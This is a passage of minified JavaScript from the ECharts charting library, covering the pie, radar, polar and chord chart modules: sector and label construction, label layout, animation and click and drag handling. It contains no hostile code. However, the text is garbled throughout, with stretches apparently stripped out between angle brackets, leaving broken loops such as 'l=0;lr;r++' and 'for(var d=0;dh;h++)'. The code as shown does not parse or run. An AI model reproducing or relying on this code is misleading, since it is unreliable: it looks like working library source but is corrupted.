s,m=0,V=e.length;V>m;m++)if(e[m].type===l.CHART_TYPE_PIE){if(e[m]=this.reformOption(e[m]),this.legendHoverLink=e[m].legendHoverLink||this.legendHoverLink,s=e[m].name||"",this.selectedMap[s]=t?t.isSelected(s):!0,!this.selectedMap[s])continue;i=this.parseCenter(this.zr,e[m].center),n=this.parseRadius(this.zr,e[m].radius),this._selectedMode=this._selectedMode||e[m].selectedMode,this._selected[m]=[],this.deepQuery([e[m],this.option],"calculable")&&(r={zlevel:e[m].zlevel,z:e[m].z,hoverable:!1,style:{x:i[0],y:i[1],r0:n[0]<=10?0:n[0]-10,r:n[1]+10,brushType:"stroke",lineWidth:1,strokeColor:e[m].calculableHolderColor||this.ecTheme.calculableHolderColor||l.calculableHolderColor}},h.pack(r,e[m],m,void 0,-1),this.setCalculable(r),r=n[0]<=10?new o(r):new a(r),this.shapeList.push(r)),this._buildSinglePie(m),this.buildMark(m)}this.addShapeList()},_buildSinglePie:function(e){for(var t,i=this.series,n=i[e],a=n.data,o=this.component.legend,r=0,s=0,l=0,h=Number.NEGATIVE_INFINITY,m=[],V=0,U=a.length;U>V;V++)t=a[V].name, +this.selectedMap[t]=o?o.isSelected(t):!0,this.selectedMap[t]&&!isNaN(a[V].value)&&(0!==+a[V].value?r++:s++,l+=+a[V].value,h=Math.max(h,+a[V].value));if(0!==l){for(var d,p,c,u,y,g,b=100,f=n.clockWise,k=(n.startAngle.toFixed(2)-0+360)%360,x=n.minAngle||.01,_=360-x*r-.01*s,L=n.roseType,V=0,U=a.length;U>V;V++)if(t=a[V].name,this.selectedMap[t]&&!isNaN(a[V].value)){if(p=o?o.getColor(t):this.zr.getColor(V),b=a[V].value/l,d="area"!=L?f?k-b*_-(0!==b?x:.01):b*_+k+(0!==b?x:.01):f?k-360/U:360/U+k,d=d.toFixed(2)-0,b=(100*b).toFixed(2),c=this.parseCenter(this.zr,n.center),u=this.parseRadius(this.zr,n.radius),y=+u[0],g=+u[1],"radius"===L?g=a[V].value/h*(g-y)*.8+.2*(g-y)+y:"area"===L&&(g=Math.sqrt(a[V].value/h)*(g-y)+y),f){var W;W=k,k=d,d=W}this._buildItem(m,e,V,b,a[V].selected,c,y,g,k,d,p),f||(k=d)}this._autoLabelLayout(m,c,g);for(var V=0,U=m.length;U>V;V++)this.shapeList.push(m[V]);m=null}},_buildItem:function(e,t,i,n,a,o,r,s,l,m,V){var U=this.series,d=((m+l)/2+360)%360,p=this.getSector(t,i,n,a,o,r,s,l,m,V);h.pack(p,U[t],t,U[t].data[i],i,U[t].data[i].name,n),e.push(p);var c=this.getLabel(t,i,n,o,d,V,!1),u=this.getLabelLine(t,i,o,r,s,d,V,!1);u&&(h.pack(u,U[t],t,U[t].data[i],i,U[t].data[i].name,n),e.push(u)),c&&(h.pack(c,U[t],t,U[t].data[i],i,U[t].data[i].name,n),c._labelLine=u,e.push(c))},getSector:function(e,t,i,n,a,o,s,l,h,m){var d=this.series,p=d[e],c=p.data[t],u=[c,p],y=this.deepMerge(u,"itemStyle.normal")||{},g=this.deepMerge(u,"itemStyle.emphasis")||{},b=this.getItemStyleColor(y.color,e,t,c)||m,f=this.getItemStyleColor(g.color,e,t,c)||("string"==typeof b?U.lift(b,-.2):b),k={zlevel:p.zlevel,z:p.z,clickable:this.deepQuery(u,"clickable"),style:{x:a[0],y:a[1],r0:o,r:s,startAngle:l,endAngle:h,brushType:"both",color:b,lineWidth:y.borderWidth,strokeColor:y.borderColor,lineJoin:"round"},highlightStyle:{color:f,lineWidth:g.borderWidth,strokeColor:g.borderColor,lineJoin:"round"},_seriesIndex:e,_dataIndex:t};if(n){var x=((k.style.startAngle+k.style.endAngle)/2).toFixed(2)-0;k.style._hasSelected=!0,k.style._x=k.style.x,k.style._y=k.style.y;var _=this.query(p,"selectedOffset");k.style.x+=V.cos(x,!0)*_,k.style.y-=V.sin(x,!0)*_,this._selected[e][t]=!0}else this._selected[e][t]=!1;return this._selectedMode&&(k.onclick=this.shapeHandler.onclick),this.deepQuery([c,p,this.option],"calculable")&&(this.setCalculable(k),k.draggable=!0),(this._needLabel(p,c,!0)||this._needLabelLine(p,c,!0))&&(k.onmouseover=this.shapeHandler.onmouseover),k=new r(k)},getLabel:function(e,t,i,a,o,r,s){var l=this.series,h=l[e],U=h.data[t];if(this._needLabel(h,U,s)){var d,p,c,u=s?"emphasis":"normal",y=m.merge(m.clone(U.itemStyle)||{},h.itemStyle),g=y[u].label,b=g.textStyle||{},f=a[0],k=a[1],x=this.parseRadius(this.zr,h.radius),_="middle";g.position=g.position||y.normal.label.position,"center"===g.position?(d=f,p=k,c="center"):"inner"===g.position||"inside"===g.position?(x=(x[0]+x[1])*(g.distance||.5),d=Math.round(f+x*V.cos(o,!0)),p=Math.round(k-x*V.sin(o,!0)),r="#fff",c="center"):(x=x[1]- -y[u].labelLine.length,d=Math.round(f+x*V.cos(o,!0)),p=Math.round(k-x*V.sin(o,!0)),c=o>=90&&270>=o?"right":"left"),"center"!=g.position&&"inner"!=g.position&&"inside"!=g.position&&(d+="left"===c?20:-20),U.__labelX=d-("left"===c?5:-5),U.__labelY=p;var L=new n({zlevel:h.zlevel,z:h.z+1,hoverable:!1,style:{x:d,y:p,color:b.color||r,text:this.getLabelText(e,t,i,u),textAlign:b.align||c,textBaseline:b.baseline||_,textFont:this.getFont(b)},highlightStyle:{brushType:"fill"}});return L._radius=x,L._labelPosition=g.position||"outer",L._rect=L.getRect(L.style),L._seriesIndex=e,L._dataIndex=t,L}},getLabelText:function(e,t,i,n){var a=this.series,o=a[e],r=o.data[t],s=this.deepQuery([r,o],"itemStyle."+n+".label.formatter");return s?"function"==typeof s?s.call(this.myChart,{seriesIndex:e,seriesName:o.name||"",series:o,dataIndex:t,data:r,name:r.name,value:r.value,percent:i}):"string"==typeof s?(s=s.replace("{a}","{a0}").replace("{b}","{b0}").replace("{c}","{c0}").replace("{d}","{d0}"),s=s.replace("{a0}",o.name).replace("{b0}",r.name).replace("{c0}",r.value).replace("{d0}",i)):void 0:r.name},getLabelLine:function(e,t,i,n,a,o,r,l){var h=this.series,U=h[e],d=U.data[t];if(this._needLabelLine(U,d,l)){var p=l?"emphasis":"normal",c=m.merge(m.clone(d.itemStyle)||{},U.itemStyle),u=c[p].labelLine,y=u.lineStyle||{},g=i[0],b=i[1],f=a,k=this.parseRadius(this.zr,U.radius)[1]- -u.length,x=V.cos(o,!0),_=V.sin(o,!0);return new s({zlevel:U.zlevel,z:U.z+1,hoverable:!1,style:{pointList:[[g+f*x,b-f*_],[g+k*x,b-k*_],[d.__labelX,d.__labelY]],strokeColor:y.color||r,lineType:y.type,lineWidth:y.width},_seriesIndex:e,_dataIndex:t})}},_needLabel:function(e,t,i){return this.deepQuery([t,e],"itemStyle."+(i?"emphasis":"normal")+".label.show")},_needLabelLine:function(e,t,i){return this.deepQuery([t,e],"itemStyle."+(i?"emphasis":"normal")+".labelLine.show")},_autoLabelLayout:function(e,t,i){for(var n=[],a=[],o=0,r=e.length;r>o;o++)("outer"===e[o]._labelPosition||"outside"===e[o]._labelPosition)&&(e[o]._rect._y=e[o]._rect.y,e[o]._rect.xa;a++)if(e[a]._rect.y+=n,e[a].style.y+=n,e[a]._labelLine&&(e[a]._labelLine.style.pointList[1][1]+=n,e[a]._labelLine.style.pointList[2][1]+=n),a>t&&i>a+1&&e[a+1]._rect.y>e[a]._rect.y+e[a]._rect.height)return void o(a,n/2);o(i-1,n/2)}function o(t,i){for(var n=t;n>=0&&(e[n]._rect.y-=i,e[n].style.y-=i,e[n]._labelLine&&(e[n]._labelLine.style.pointList[1][1]-=i,e[n]._labelLine.style.pointList[2][1]-=i),!(n>0&&e[n]._rect.y>e[n-1]._rect.y+e[n-1]._rect.height));n--);}function r(e,t,i,n,a){for(var o,r,s,l=i[0],h=i[1],m=a>0?t?Number.MAX_VALUE:0:t?Number.MAX_VALUE:0,V=0,U=e.length;U>V;V++)r=Math.abs(e[V]._rect.y-h),s=e[V]._radius-n,o=n+s>r?Math.sqrt((n+s+20)*(n+s+20)-Math.pow(e[V]._rect.y-h,2)):Math.abs(e[V]._rect.x+(a>0?0:e[V]._rect.width)-l),t&&o>=m&&(o=m-10),!t&&m>=o&&(o=m+10),e[V]._rect.x=e[V].style.x=l+o*a,e[V]._labelLine&&(e[V]._labelLine.style.pointList[2][0]=l+(o-5)*a,e[V]._labelLine.style.pointList[1][0]=l+(o-20)*a),m=o}e.sort(function(e,t){return e._rect.y-t._rect.y});for(var s,l=0,h=e.length,m=[],V=[],U=0;h>U;U++)s=e[U]._rect.y-l,0>s&&a(U,h,-s,n),l=e[U]._rect.y+e[U]._rect.height;this.zr.getHeight()-l<0&&o(h-1,l-this.zr.getHeight());for(var U=0;h>U;U++)e[U]._rect.y>=t[1]?V.push(e[U]):m.push(e[U]);r(V,!0,t,i,n),r(m,!1,t,i,n)},reformOption:function(e){var t=m.merge;return e=t(t(e||{},m.clone(this.ecTheme.pie||{})),m.clone(l.pie)),e.itemStyle.normal.label.textStyle=this.getTextStyle(e.itemStyle.normal.label.textStyle),e.itemStyle.emphasis.label.textStyle=this.getTextStyle(e.itemStyle.emphasis.label.textStyle),this.z=e.z,this.zlevel=e.zlevel,e},refresh:function(e){e&&(this.option=e,this.series=e.series),this.backupShapeList(),this._buildShape()},addDataAnimation:function(e,t){function i(){s--,0===s&&t&&t()}for(var n=this.series,a={},o=0,r=e.length;r>o;o++)a[e[o][0]]=e[o];var s=0,h={},m={},V={},U=this.shapeList;this.shapeList=[];for(var d,p,c,u={},o=0,r=e.length;r>o;o++)d=e[o][0],p=e[o][2],c=e[o][3],n[d]&&n[d].type===l.CHART_TYPE_PIE&&(p?(c||(h[d+"_"+n[d].data.length]="delete"),u[d]=1):c?u[d]=0:(h[d+"_-1"]="delete",u[d]=-1),this._buildSinglePie(d));for(var y,g,o=0,r=this.shapeList.length;r>o;o++)switch(d=this.shapeList[o]._seriesIndex,y=this.shapeList[o]._dataIndex,g=d+"_"+y,this.shapeList[o].type){case"sector":h[g]=this.shapeList[o];break;case"text":m[g]=this.shapeList[o];break;case"polyline":V[g]=this.shapeList[o]}this.shapeList=[];for(var b,o=0,r=U.length;r>o;o++)if(d=U[o]._seriesIndex,a[d]){if(y=U[o]._dataIndex+u[d],g=d+"_"+y,b=h[g],!b)continue;if("sector"===U[o].type)"delete"!=b?(s++,this.zr.animate(U[o].id,"style").when(400,{startAngle:b.style.startAngle,endAngle:b.style.endAngle}).done(i).start()):(s++,this.zr.animate(U[o].id,"style").when(400,u[d]<0?{startAngle:U[o].style.startAngle}:{endAngle:U[o].style.endAngle}).done(i).start());else if("text"===U[o].type||"polyline"===U[o].type)if("delete"===b)this.zr.delShape(U[o].id);else switch(U[o].type){case"text":s++,b=m[g],this.zr.animate(U[o].id,"style").when(400,{x:b.style.x,y:b.style.y}).done(i).start();break;case"polyline":s++,b=V[g],this.zr.animate(U[o].id,"style").when(400,{pointList:b.style.pointList}).done(i).start()}}this.shapeList=U,s||t&&t()},onclick:function(e){var t=this.series;if(this.isClick&&e.target){this.isClick=!1;for(var i,n=e.target,a=n.style,o=h.get(n,"seriesIndex"),r=h.get(n,"dataIndex"),s=0,m=this.shapeList.length;m>s;s++)if(this.shapeList[s].id===n.id){if(o=h.get(n,"seriesIndex"),r=h.get(n,"dataIndex"),a._hasSelected)n.style.x=n.style._x,n.style.y=n.style._y,n.style._hasSelected=!1,this._selected[o][r]=!1;else{var U=((a.startAngle+a.endAngle)/2).toFixed(2)-0;n.style._hasSelected=!0,this._selected[o][r]=!0,n.style._x=n.style.x,n.style._y=n.style.y,i=this.query(t[o],"selectedOffset"),n.style.x+=V.cos(U,!0)*i,n.style.y-=V.sin(U,!0)*i}this.zr.modShape(n.id)}else this.shapeList[s].style._hasSelected&&"single"===this._selectedMode&&(o=h.get(this.shapeList[s],"seriesIndex"),r=h.get(this.shapeList[s],"dataIndex"),this.shapeList[s].style.x=this.shapeList[s].style._x,this.shapeList[s].style.y=this.shapeList[s].style._y,this.shapeList[s].style._hasSelected=!1,this._selected[o][r]=!1,this.zr.modShape(this.shapeList[s].id));this.messageCenter.dispatch(l.EVENT.PIE_SELECTED,e.event,{selected:this._selected,target:h.get(n,"name")},this.myChart),this.zr.refreshNextFrame()}}},m.inherits(t,i),e("../chart").define("pie",t),t}),i("echarts/chart/radar",["require","./base","zrender/shape/Polygon","../component/polar","../config","../util/ecData","zrender/tool/util","zrender/tool/color","../util/accMath","../chart"],function(e){function t(e,t,n,a,o){i.call(this,e,t,n,a,o),this.refresh(a)}var i=e("./base"),n=e("zrender/shape/Polygon");e("../component/polar");var a=e("../config");a.radar={zlevel:0,z:2,clickable:!0,legendHoverLink:!0,polarIndex:0,itemStyle:{normal:{label:{show:!1},lineStyle:{width:2,type:"solid"}},emphasis:{label:{show:!1}}},symbolSize:2};var o=e("../util/ecData"),r=e("zrender/tool/util"),s=e("zrender/tool/color");return t.prototype={type:a.CHART_TYPE_RADAR,_buildShape:function(){this.selectedMap={},this._symbol=this.option.symbolList,this._queryTarget,this._dropBoxList=[],this._radarDataCounter=0;for(var e,t=this.series,i=this.component.legend,n=0,o=t.length;o>n;n++)t[n].type===a.CHART_TYPE_RADAR&&(this.serie=this.reformOption(t[n]),this.legendHoverLink=t[n].legendHoverLink||this.legendHoverLink,e=this.serie.name||"",this.selectedMap[e]=i?i.isSelected(e):!0,this.selectedMap[e]&&(this._queryTarget=[this.serie,this.option],this.deepQuery(this._queryTarget,"calculable")&&this._addDropBox(n),this._buildSingleRadar(n),this.buildMark(n)));this.addShapeList()},_buildSingleRadar:function(e){for(var t,i,n,a,o=this.component.legend,r=this.serie.data,s=this.deepQuery(this._queryTarget,"calculable"),l=0;lr;r++)n=this.getDataFromOption(t.value[r]),i="-"!=n?o.getVector(e,r,n):!1,i&&a.push(i);return a},_addSymbol:function(e,t,i,n,a){for(var r,s=this.series,l=this.component.polar,h=0,m=e.length;m>h;h++)r=this.getSymbolShape(this.deepMerge([s[n].data[i],s[n]]),n,s[n].data[i].value[h],h,l.getIndicatorText(a,h),e[h][0],e[h][1],this._symbol[this._radarDataCounter%this._symbol.length],t,"#fff","vertical"),r.zlevel=this.getZlevelBase(),r.z=this.getZBase()+1,o.set(r,"data",s[n].data[i]),o.set(r,"value",s[n].data[i].value),o.set(r,"dataIndex",i),o.set(r,"special",h),this.shapeList.push(r)},_addDataShape:function(e,t,i,a,r,l){var h=this.series,m=[i,this.serie],V=this.getItemStyleColor(this.deepQuery(m,"itemStyle.normal.color"),a,r,i),U=this.deepQuery(m,"itemStyle.normal.lineStyle.width"),d=this.deepQuery(m,"itemStyle.normal.lineStyle.type"),p=this.deepQuery(m,"itemStyle.normal.areaStyle.color"),c=this.deepQuery(m,"itemStyle.normal.areaStyle"),u={zlevel:this.getZlevelBase(),z:this.getZBase(),style:{pointList:e,brushType:c?"both":"stroke",color:p||V||("string"==typeof t?s.alpha(t,.5):t),strokeColor:V||t,lineWidth:U,lineType:d},highlightStyle:{brushType:this.deepQuery(m,"itemStyle.emphasis.areaStyle")||c?"both":"stroke",color:this.deepQuery(m,"itemStyle.emphasis.areaStyle.color")||p||V||("string"==typeof t?s.alpha(t,.5):t),strokeColor:this.getItemStyleColor(this.deepQuery(m,"itemStyle.emphasis.color"),a,r,i)||V||t,lineWidth:this.deepQuery(m,"itemStyle.emphasis.lineStyle.width")||U,lineType:this.deepQuery(m,"itemStyle.emphasis.lineStyle.type")||d}};o.pack(u,h[a],a,i,r,i.name,this.component.polar.getIndicator(h[a].polarIndex)),l&&(u.draggable=!0,this.setCalculable(u)),u=new n(u),this.shapeList.push(u)},_addDropBox:function(e){var t=this.series,i=this.deepQuery(this._queryTarget,"polarIndex");if(!this._dropBoxList[i]){var n=this.component.polar.getDropBox(i);n.zlevel=this.getZlevelBase(),n.z=this.getZBase(),this.setCalculable(n),o.pack(n,t,e,void 0,-1),this.shapeList.push(n),this._dropBoxList[i]=!0}},ondragend:function(e,t){var i=this.series;if(this.isDragend&&e.target){var n=e.target,a=o.get(n,"seriesIndex"),r=o.get(n,"dataIndex");this.component.legend&&this.component.legend.del(i[a].data[r].name),i[a].data.splice(r,1),t.dragOut=!0,t.needRefresh=!0,this.isDragend=!1}},ondrop:function(t,i){var n=this.series;if(this.isDrop&&t.target){var a,r,s=t.target,l=t.dragged,h=o.get(s,"seriesIndex"),m=o.get(s,"dataIndex"),V=this.component.legend;if(-1===m)a={value:o.get(l,"value"),name:o.get(l,"name")},n[h].data.push(a),V&&V.add(a.name,l.style.color||l.style.strokeColor);else{var U=e("../util/accMath");a=n[h].data[m],V&&V.del(a.name),a.name+=this.option.nameConnector+o.get(l,"name"),r=o.get(l,"value");for(var d=0;dh;h++)t=m.polar2cartesian(s,o*Math.PI/180+r*h),l.push({vector:[t[1],-t[0]]})},_getRadius:function(){var e=this.polar[this._index];return this.parsePercent(e.radius,Math.min(this.zr.getWidth(),this.zr.getHeight())/2)},_buildSpiderWeb:function(e){var t=this.polar[e],i=t.__ecIndicator,n=t.splitArea,a=t.splitLine,o=this.getCenter(e),r=t.splitNumber,s=a.lineStyle.color,l=a.lineStyle.width,h=a.show,m=this.deepQuery(this._queryTarget,"axisLine");this._addArea(i,r,o,n,s,l,h),m.show&&this._addLine(i,o,m)},_addAxisLabel:function(t){for(var i,a,o,r,a,s,l,m,V,U,d=e("../util/accMath"),p=this.polar[t],c=this.deepQuery(this._queryTarget,"indicator"),u=p.__ecIndicator,y=this.deepQuery(this._queryTarget,"splitNumber"),g=this.getCenter(t),b=0;b=x;x+=U+1)r=h.merge({},o),l=d.accAdd(s.min,d.accMul(s.step,x)),l="function"==typeof k?k(l):"string"==typeof k?k.replace("{a}","{a0}").replace("{a0}",l):this.numAddCommas(l),r.text=l,r.x=x*a[0]/y+Math.cos(m)*V+g[0],r.y=x*a[1]/y+Math.sin(m)*V+g[1],this.shapeList.push(new n({zlevel:this.getZlevelBase(),z:this.getZBase(),style:r,draggable:!1,hoverable:!1}))}},_buildText:function(e){for(var t,i,a,o,r,s,l,h=this.polar[e],m=h.__ecIndicator,V=this.deepQuery(this._queryTarget,"indicator"),U=this.getCenter(e),d=0,p=0,c=0;c0?"left":Math.round(t[0])<0?"right":"center",null==o.margin?t=this._mapVector(t,U,1.1):(s=o.margin,d=t[0]>0?s:-s,p=t[1]>0?s:-s,d=0===t[0]?0:d,p=0===t[1]?0:p,t=this._mapVector(t,U,1)),i.textAlign=a,i.x=t[0]+d,i.y=t[1]+p,r=o.rotate?[o.rotate/180*Math.PI,t[0],t[1]]:[0,0,0],this.shapeList.push(new n({zlevel:this.getZlevelBase(),z:this.getZBase(),style:i,draggable:!1,hoverable:!1,rotation:r})))},getIndicatorText:function(e,t){return this.polar[e]&&this.polar[e].__ecIndicator[t]&&this.polar[e].__ecIndicator[t].text},getDropBox:function(e){var t,i,e=e||0,n=this.polar[e],a=this.getCenter(e),o=n.__ecIndicator,r=o.length,s=[],l=n.type;if("polygon"==l){for(var h=0;r>h;h++)t=o[h].vector,s.push(this._mapVector(t,a,1.2));i=this._getShape(s,"fill","rgba(0,0,0,0)","",1)}else"circle"==l&&(i=this._getCircle("",1,1.2,a,"fill","rgba(0,0,0,0)"));return i},_addArea:function(e,t,i,n,a,o,r){for(var s,l,h,m,V=this.deepQuery(this._queryTarget,"type"),U=0;t>U;U++)l=(t-U)/t,r&&("polygon"==V?(m=this._getPointList(e,l,i),s=this._getShape(m,"stroke","",a,o)):"circle"==V&&(s=this._getCircle(a,o,l,i,"stroke")),this.shapeList.push(s)),n.show&&(h=(t-U-1)/t,this._addSplitArea(e,n,l,h,i,U))},_getCircle:function(e,t,i,n,a,o){var s=this._getRadius();return new r({zlevel:this.getZlevelBase(),z:this.getZBase(),style:{x:n[0],y:n[1],r:s*i,brushType:a,strokeColor:e,lineWidth:t,color:o},hoverable:!1,draggable:!1})},_getRing:function(e,t,i,n){var a=this._getRadius();return new s({zlevel:this.getZlevelBase(),z:this.getZBase(),style:{x:n[0],y:n[1],r:t*a,r0:i*a,color:e,brushType:"fill"},hoverable:!1,draggable:!1})},_getPointList:function(e,t,i){for(var n,a=[],o=e.length,r=0;o>r;r++)n=e[r].vector,a.push(this._mapVector(n,i,t));return a},_getShape:function(e,t,i,n,a){return new o({zlevel:this.getZlevelBase(),z:this.getZBase(),style:{pointList:e,brushType:t,color:i,strokeColor:n,lineWidth:a},hoverable:!1,draggable:!1})},_addSplitArea:function(e,t,i,n,a,o){var r,s,l,h,m,V=e.length,U=t.areaStyle.color,d=[],V=e.length,p=this.deepQuery(this._queryTarget,"type");if("string"==typeof U&&(U=[U]),s=U.length,r=U[o%s],"polygon"==p)for(var c=0;V>c;c++)d=[],l=e[c].vector,h=e[(c+1)%V].vector,d.push(this._mapVector(l,a,i)),d.push(this._mapVector(l,a,n)),d.push(this._mapVector(h,a,n)),d.push(this._mapVector(h,a,i)),m=this._getShape(d,"fill",r,"",1),this.shapeList.push(m);else"circle"==p&&(m=this._getRing(r,i,n,a),this.shapeList.push(m))},_mapVector:function(e,t,i){return[e[0]*i+t[0],e[1]*i+t[1]]},getCenter:function(e){var e=e||0;return this.parseCenter(this.zr,this.polar[e].center)},_addLine:function(e,t,i){for(var n,a,o=e.length,r=i.lineStyle,s=r.color,l=r.width,h=r.type,m=0;o>m;m++)a=e[m].vector,n=this._getLine(t[0],t[1],a[0]+t[0],a[1]+t[1],s,l,h),this.shapeList.push(n)},_getLine:function(e,t,i,n,o,r,s){return new a({zlevel:this.getZlevelBase(),z:this.getZBase(),style:{xStart:e,yStart:t,xEnd:i,yEnd:n,strokeColor:o,lineWidth:r,lineType:s},hoverable:!1})},_adjustIndicatorValue:function(t){for(var i,n,a,o=this.polar[t],r=this.deepQuery(this._queryTarget,"indicator"),s=r.length,l=o.__ecIndicator,h=this._getSeriesData(t),m=o.boundaryGap,V=o.splitNumber,U=o.scale,d=e("../util/smartSteps"),p=0;s>p;p++){if("number"==typeof r[p].max)i=r[p].max,n=r[p].min||0,a={max:i,min:n};else{var c=this._findValue(h,p,V,m);n=c.min,i=c.max}!U&&n>=0&&i>=0&&(n=0),!U&&0>=n&&0>=i&&(i=0);var u=d(n,i,V,a);l[p].value={min:u.min,max:u.max,step:u.step}}},_getSeriesData:function(e){for(var t,i,n,a=[],o=this.component.legend,r=0;ro||void 0===o)&&(o=e),(r>e||void 0===r)&&(r=e)}var o,r,s;if(e&&0!==e.length){if(1==e.length&&(r=0),1!=e.length)for(var l=0;l0?r=o/i:o/=i),{max:o,min:r}}},getVector:function(e,t,i){e=e||0,t=t||0;var n=this.polar[e].__ecIndicator;if(!(t>=n.length)){var a,o=this.polar[e].__ecIndicator[t],r=this.getCenter(e),s=o.vector,l=o.value.max,h=o.value.min;if("undefined"==typeof i)return r;switch(i){case"min":i=h;break;case"max":i=l;break;case"center":i=(l+h)/2}return a=l!=h?(i-h)/(l-h):.5,this._mapVector(s,r,a)}},isInside:function(e){var t=this.getNearestIndex(e);return t?t.polarIndex:-1},getNearestIndex:function(e){for(var t,i,n,a,o,r,s,l,h,V=0;Va[0])return{polarIndex:V,valueIndex:Math.floor((h+l/2)/l)%s}}},getIndicator:function(e){var e=e||0;return this.polar[e].indicator},refresh:function(e){e&&(this.option=e,this.polar=this.option.polar,this.series=this.option.series),this.clear(),this._buildShape()}},h.inherits(t,i),e("../component").define("polar",t),t}),i("echarts/util/coordinates",["require","zrender/tool/math"],function(e){function t(e,t){return[e*n.sin(t),e*n.cos(t)]}function i(e,t){return[Math.sqrt(e*e+t*t),Math.atan(t/e)]}var n=e("zrender/tool/math");return{polar2cartesian:t,cartesian2polar:i}}),i("echarts/chart/chord",["require","./base","zrender/shape/Text","zrender/shape/Line","zrender/shape/Sector","../util/shape/Ribbon","../util/shape/Icon","zrender/shape/BezierCurve","../config","../util/ecData","zrender/tool/util","zrender/tool/vector","../data/Graph","../layout/Chord","../chart"],function(e){"use strict";function t(e,t,n,a,o){i.call(this,e,t,n,a,o),this.scaleLineLength=4,this.scaleUnitAngle=4,this.refresh(a)}var i=e("./base"),n=e("zrender/shape/Text"),a=e("zrender/shape/Line"),o=e("zrender/shape/Sector"),r=e("../util/shape/Ribbon"),s=e("../util/shape/Icon"),l=e("zrender/shape/BezierCurve"),h=e("../config");h.chord={zlevel:0,z:2,clickable:!0,radius:["65%","75%"],center:["50%","50%"],padding:2,sort:"none",sortSub:"none",startAngle:90,clockWise:!0,ribbonType:!0,minRadius:10,maxRadius:20,symbol:"circle",showScale:!1,showScaleText:!1,itemStyle:{normal:{borderWidth:0,borderColor:"#000",label:{show:!0,rotate:!1,distance:5},chordStyle:{width:1,color:"black",borderWidth:1,borderColor:"#999",opacity:.5}},emphasis:{borderWidth:0,borderColor:"#000",chordStyle:{width:1,color:"black",borderWidth:1,borderColor:"#999"}}}};var m=e("../util/ecData"),V=e("zrender/tool/util"),U=e("zrender/tool/vector"),d=e("../data/Graph"),p=e("../layout/Chord");return t.prototype={type:h.CHART_TYPE_CHORD,_init:function(){var e=this.series;this.selectedMap={};for(var t={},i={},n=0,a=e.length;a>n;n++)if(e[n].type===this.type){var o=this.isSelected(e[n].name);this.selectedMap[e[n].name]=o,o&&this.buildMark(n),this.reformOption(e[n]),t[e[n].name]=e[n]}for(var n=0,a=e.length;a>n;n++)if(e[n].type===this.type)if(e[n].insertToSerie){var r=t[e[n].insertToSerie];e[n]._referenceSerie=r}else i[e[n].name]=[e[n]];for(var n=0,a=e.length;a>n;n++)if(e[n].type===this.type&&e[n].insertToSerie){for(var s=e[n]._referenceSerie;s&&s._referenceSerie;)s=s._referenceSerie;i[s.name]&&this.selectedMap[e[n].name]&&i[s.name].push(e[n])}for(var l in i)this._buildChords(i[l]);this.addShapeList()},_getNodeCategory:function(e,t){return e.categories&&e.categories[t.category||0]},_getNodeQueryTarget:function(e,t){var i=this._getNodeCategory(e,t);return[t,i,e]},_getEdgeQueryTarget:function(e,t,i){return i=i||"normal",[t.itemStyle&&t.itemStyle[i],e.itemStyle[i].chordStyle]},_buildChords:function(e){for(var t=[],i=e[0],n=function(e){return e.layout.size>0},a=function(e){return function(t){return e.getEdge(t.node2,t.node1)}},o=0;oa;a++){var r=n[a];if(r&&!r.ignore){var s=this._getNodeCategory(t,r),l=s?s.name:r.name;if(this.selectedMap[l]=this.isSelected(l),this.selectedMap[l]){var h=i.addNode(r.name,r);h.rawIndex=a}}}for(var a=0,o=e.links.length;o>a;a++){var m=e.links[a],V=m.source,U=m.target;"number"==typeof V&&(V=n[V],V&&(V=V.name)),"number"==typeof U&&(U=n[U],U&&(U=U.name));var p=i.addEdge(V,U,m);p&&(p.rawIndex=a)}return i.eachNode(function(e){var i=e.data.value;if(null==i)if(i=0,t.ribbonType)for(var n=0;n0&&(p.style.brushType="both"),p.highlightStyle.lineWidth>0&&(p.highlightStyle.brushType="both"),m.pack(p,e,t,i.data,i.rawIndex,i.id,i.category),this.shapeList.push(p),i.shape=p},this)},_buildNodeIcons:function(e,t,i,n){var a=this.parseCenter(this.zr,n.center),o=this.parseRadius(this.zr,n.radius),r=o[1];i.eachNode(function(i){var o=i.layout.startAngle,l=i.layout.endAngle,h=(o+l)/2,V=r*Math.cos(h),U=r*Math.sin(h),d=this._getNodeQueryTarget(n,i.data),p=this._getNodeCategory(n,i.data),c=this.deepQuery(d,"itemStyle.normal.color");c||(c=this.getColor(p?p.name:i.id));var u=new s({zlevel:e.zlevel,z:e.z+1,style:{x:-i.layout.size,y:-i.layout.size,width:2*i.layout.size,height:2*i.layout.size,iconType:this.deepQuery(d,"symbol"),color:c,brushType:"both",lineWidth:this.deepQuery(d,"itemStyle.normal.borderWidth"),strokeColor:this.deepQuery(d,"itemStyle.normal.borderColor")},highlightStyle:{color:this.deepQuery(d,"itemStyle.emphasis.color"),lineWidth:this.deepQuery(d,"itemStyle.emphasis.borderWidth"),strokeColor:this.deepQuery(d,"itemStyle.emphasis.borderColor")},clickable:n.clickable,position:[V+a[0],U+a[1]]});m.pack(u,e,t,i.data,i.rawIndex,i.id,i.category),this.shapeList.push(u),i.shape=u},this)},_buildLabels:function(e,t,i,a){var o=this.query(a,"itemStyle.normal.label.rotate"),r=this.query(a,"itemStyle.normal.label.distance"),s=this.parseCenter(this.zr,a.center),l=this.parseRadius(this.zr,a.radius),h=a.clockWise,m=h?1:-1; + +i.eachNode(function(t){var i=t.layout.startAngle/Math.PI*180*m,h=t.layout.endAngle/Math.PI*180*m,V=(i*-m+h*-m)/2;V%=360,0>V&&(V+=360);var d=90>=V||V>=270;V=V*Math.PI/180;var p=[Math.cos(V),-Math.sin(V)],c=0;c=a.ribbonType?a.showScaleText?35+r:r:r+t.layout.size;var u=U.scale([],p,l[1]+c);U.add(u,u,s);var y={zlevel:e.zlevel,z:e.z+1,hoverable:!1,style:{text:null==t.data.label?t.id:t.data.label,textAlign:d?"left":"right"}};o?(y.rotation=d?V:Math.PI+V,y.style.x=d?l[1]+c:-l[1]-c,y.style.y=0,y.position=s.slice()):(y.style.x=u[0],y.style.y=u[1]),y.style.color=this.deepQuery([t.data,a],"itemStyle.normal.label.textStyle.color")||"#000000",y.style.textFont=this.getFont(this.deepQuery([t.data,a],"itemStyle.normal.label.textStyle")),y=new n(y),this.shapeList.push(y),t.labelShape=y},this)},_buildRibbons:function(e,t,i,n){var a=e[t],o=this.parseCenter(this.zr,n.center),s=this.parseRadius(this.zr,n.radius);i.eachEdge(function(l,h){var V,U=i.getEdge(l.node2,l.node1);if(U&&!l.shape){if(U.shape)return void(l.shape=U.shape);var 